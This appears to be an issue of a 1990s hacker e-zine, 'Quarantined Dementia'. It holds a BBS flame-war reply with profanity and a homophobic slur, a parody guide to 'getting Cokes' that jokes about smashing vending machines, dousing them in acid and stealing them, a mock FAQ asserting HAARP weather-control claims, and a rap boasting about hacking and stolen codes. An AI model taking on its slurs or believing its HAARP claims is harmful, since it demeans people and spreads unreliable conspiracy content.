Private Mail To : Yossarian Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local A> A D- isn't failing...!­ Well I guess you cannot speak correctly 'cause you A> obviously can't spell...!­ Y> A> You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty A> game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW A> I was just needing somebody else to shoot at besides Zappa...the invitation A> still stands... Y> Um, Mr. Hypocrite.. You can do neither, so shut the fuck up... First of all I can neither what?¨ Hypocrite?¨ Why are your questions so ignorant?¨ Y> Good, now make it consistant.. You have lowercase with uppercase. Do you Y> know the diff. between line noise and regular text? Do you?¨ Oh wait a second isn't that how you discovered your handle in the first place?¨ Ummmmm...Mr. I speak proper english..."consistent".... Y> °°±±²ÛÛ Yéëë’R³’N ÛÛ²±±°° ^ What the hell is that?¨ Line noise?¨ °°±±²ÛÛAfterThoughtÛÛ²±±°° ----------------------------------------------------------------------------- Elite ways to get Cokes You've seen all the great text files on how to get free cokes and food and all that shit that's cooler that your grandma.. Did you try them? Did ANY of them work? That's what I thought.. ok.. now I'm going to show you hows its done around here.. -- Method #1 There are several important begining steps with this approach.. First, get a bag or something to put the food in once you have got it.. Then get a pack of chewing gum w/the gum wrapper. It's also a good idea to have a get away vehicle. Last, you need a large sledge hammer. Now the elite fun starts happening. With all the methods it's important to find a good site.. make sure there aren't too many people around and it's not in clear sight of any donut shop. (or any place that sells donuts for that matter).. These places are the cops head quarters.. Don't front with the cops.. they will bust your ass and slam you in jail till your grandkids are in college. Ummm.. I forget what to do now.. ok.. now I remember.. Drive up to the site.. carefully take out a stick of chewing gum.. Unwrap it.. place the chewing gum in your mouth. Chew. Throw the wrapper in a garbage can. Ok.. now.. take the sledge hammer and beat the living shit out of the coke machine. Things will happen.. But the most important of these things is that the machine will open and you will have cokes.. Rock on! (we have tested this method before.. just in case you were wondering about the veracity of this method) Drive away quickly. (Don't forget to load your vehicle with cokes!) -- Method #2 Get two quarters. Enter them into the slot. Retrieve coke. Rock on! -- Method #3 Get a bucket full of either liquid nitrogen or H2SO4.. drive up to the coke machine and dump either of these all over it... you WILL get cokes! -- Method #4 Get a large pickup truck, four people that are pretty damn big, and one of those wheely deals that you can load stuff on and then wheel it around. Some important notes on the stuff you need..- Make sure the truck is a good reliable truck.. not one with like doors and carborators and engines always falling the hell out.. (red necks have these sorts of trucks..).. Um ... Make sure you can trust the big people and that they won't just steal your cokes.. (it's a good idea to pack your 9 when you're around big people..) And make sure they won't steal your fucking girl friend.. Make them sign a slip that says they won't do this.. or they will.. trust me.. ok.. and the wheely deal.. make sure it's reliable too.. and above all.. TRUST NO ONE.. Drive up to the site.. get the big people to steal the coke machine.. MAKE SURE YOU HAVE THE PLUG.. you don't want your cokes cold, now do you? Ok.. go back to your abode and plug the machine right in.. and jump into it with all your force until it starts givin you cokes.. cool.. -- Method #5 Shhh! Don't tell anyone how to do this one! I have found that if you ask someone who has two cokes for one of their cokes, they will give it to you.. "A wise man leads, but he sometimes follows too, if he's in that lazy sort of mood that even wise men get in sometimes".. that has nothing to do with this.. sorry.. -- Some important thing to remember- Drinking coke makes you feel happy.. (why don't they use this for their add campaign? They are stoopid..) Girls are cool.. unless they won't give you a coke.. Coke is more important than ice fishing, dammit. Don't drink coke with those little fizzy poppy candies cause your stomach will explode.. and homie don't play that.. -- Ok.. that's it.. I hope you get lots of coke.. ----------------------------------------------------------------------------- Quarantined Dementia FAQ Well, people are always asking us questions, since we are such a popular magazine. So, I thought I'd answer some of the most common ones. Q: Why did you write this magazine? A: We were bored, really. Q: What is this? Some sort of cold fussion theory? A: no.. Haarp is a station up in alaska (Air force.. this is a smaller version of the REAL one) Haarp is testing to see if the Ionosphere can handle Gigawats of power... They are using it as a giant antenna.. so they can send ULFs to subs and ships... also, they will be able to manipulate weather... Q: Do you think people actually like this zine? A: Yeah, we are eliTe! Q: Is Spinoza as big a freak as it seems? A: I know no Spinoza. Q: What do you have against Warez, d00d? A: Its actually just a repressed desire to be a courier. We funnel it into humor to make ourselves feel better. Q: Hey, can you pick a number between 3 and 528? A: 35 Q: Your zine sucks! A: Not as hard as your MOTHER! O-oh! Q: Do you really hang out at Mr. Gattis? A: Only if we are feeling paticularly social. Q: Do you ever open a QD IRC channel? A: You suck... Q: Are you guys on drugs? A: Right now? No... Q: Is Destacona a loser like it seems? A: Yes, yes he is. Q: Should I look forward to more exciting issues in the future? A: There will be more issues. ----------------------------------------------------------------------------- the elite qd rap woke up quick, at about noon just knew that I had to get some fresh kodez soon gotta do some hackin' before the day begins before the couriers start frontin' on my friends i went to the computer and i started to call dumb SysAdmins puttin' up firewalls grabbed my disk and I stuck in some C now them accts are comin' to me stuck 'em in cracker jack, to finish them off then I got a f0n3 call, it was from Yoss. 'cause the boys of QD are elite if you need any inpho we got the h/p knowin' nuthing in life but to hack and phreak and we get more kodez every week. bored as hell and I want to get ill so I went to the spot where my homeboys chill went to gatti's, and I started drinkin' the coke was good, but my breathe started stinkin' went to Revco to pick up some mints I saw a dumb courier and I started to grin took him up the street to show him my way silly mutha f*cku pulled out the 0-day I reached in my pockets and pulled out accounts then I stepped back and knocked his lame ass out. 'cause the boys of QD are elite if you need any inpho we got the h/p knowin' nuthing in life but to hack and phreak and we get more kodez every week. Went back to gatti's to see my friends We were all sittin' around, chillin' again We fronted on the buffet, and got kicked out Through the front door, I started to shout. "Its the system, man, bringin' us down." We jumped in the wagon, and rolled into town Then we let the radio cold kick (kick) playing Coolio and Al Yankovic We went to a house to mess with Grifter His kitchen floor looked like a damn shitter We left in a hurry and then started rollin' yeah, we got more codes than all of Oakland. 'cause the boys of QD are elite if you need any inpho we got the h/p knowin' nuthing in life but to hack and phreak and we get more kodez every week.